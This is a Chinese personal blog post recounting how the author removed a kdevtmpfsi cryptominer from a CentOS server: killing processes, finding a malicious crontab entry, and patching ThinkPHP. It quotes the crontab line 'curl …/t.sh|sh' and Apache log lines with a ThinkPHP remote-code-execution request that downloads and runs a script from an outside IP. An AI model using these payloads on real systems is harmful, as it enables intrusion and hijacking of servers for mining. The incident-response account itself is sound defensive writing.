记录处理服务器中招被拉去挖矿的经历

起源

服务器邮件报警,说服务器访问了恶意下载源。像我这种非web开发coder,收到这种消息简直是:啥也这是?于是忽略了。过了几天,报警又来了,说禁止访问端口了,什么的。正好赶上春节放假,“新冠”来袭,所以做家宅着没事做,那登上服务器看看吧。

初次尝试

top了一把,cpu竟然一直100%。最了,发现是个kdevtmpfsi的进程,一直占用cpu 99%左右。疯狂search kdevtmpfsi这个东西。百度上一艘,还是有很多人知道这个东西。于是按照别人(感谢那些同仁!!)的步骤,删除吧。

1、top   找到挖矿程序进程号

2、systemctl status 进程号         根据上面的进程号找父程序

3、关掉Active变色字体下面的进程(4-5)

4、rm -rf /tmp/kdevtmpfsi  删除掉这个东西

5、kill -9 进程号  ps -ef|grep kinsing查询进程号

6、kill -9 top里面的主挖矿进程号

按照上面的步骤,删除了,cpu降下来了,开心的不得了,但是这个程序是怎么跑到服务器上的呢?不得而知,看会电影去吧。过了一会,NM,又来了,kdevtmpfsi又回来了,回来了,回来了......

瞎琢磨

既然又出来了,那是不是有定时任务呢。于是,查了下centos的定时任务,是一个叫crontab的玩意。查了下,基本的命令:

crontab -l

据说,这个可以list所有的定时任务。于是我就试一把呗,一运行,啥也没有,傻眼!!去喝会茶吧!过了一会,回来了,又搜了以下crontab个命令,说是crontabl -l只能列出当前用户的定时任务。当前是用的root登录的啊(root登录,非专业啊)。之前top里面,99%的哪个玩意,好像是apache用户啊。于是查了下,crontab --help了一把,居然还可以加-u xxx参数,运行了一把。果然出来了,NMD,终于被我发现了,果然有个定时任务,定时去访问一个IP,大概命令时这样的。 * * * * * * * * curl http://xxxxxxx/t.sh|sh。 这样的一条任务。我去!!

于是,crontab -d -u apache,删除了apache下的,所有的定时任务。然后,重复之前的删除步骤。 cpu又降下来了,真不错,这时也很晚了,碎觉去吧。

第二天又完蛋了

早晨起来,赶紧打开终端,看一下top,发现它......
又来了,又来了,又来了......。我好难啊!到底咋回事啊?乱七八遭搜了一通,看了以下,我的服务器上的redis开着,竟然没有设置密码,赶紧上了密码,据说可以通过redis,设置ssh登录用的auth key等。按照网上说等做法,查了以下,好像没有。
又开始瞎琢磨了......既然哪个挖矿程序是apache用户组的,那说明,是不是我的web程序有说明漏洞啊。于是,开始搜索web框架的漏洞。一搜,果然有人也中过招啊。赶紧查了以下,apache的access log:发现如下痕迹:

194.87.103.156 - - [31/Jan/2020:16:25:50 +0800] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl%20217.12.221.244/t.sh|sh HTTP/1.1" 404 185
194.87.103.156 - - [31/Jan/2020:16:25:52 +0800] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20-q%20-O%20-%20217.12.221.244/t.sh|sh HTTP/1.1" 404 185

大家知道了吧,就是这个玩意。赶紧着了框架的补丁(thinkphp官方提供了补丁),打上了,OK!搞定,收工!

你可能感兴趣的:(记录处理服务器中招被拉去挖矿的经历)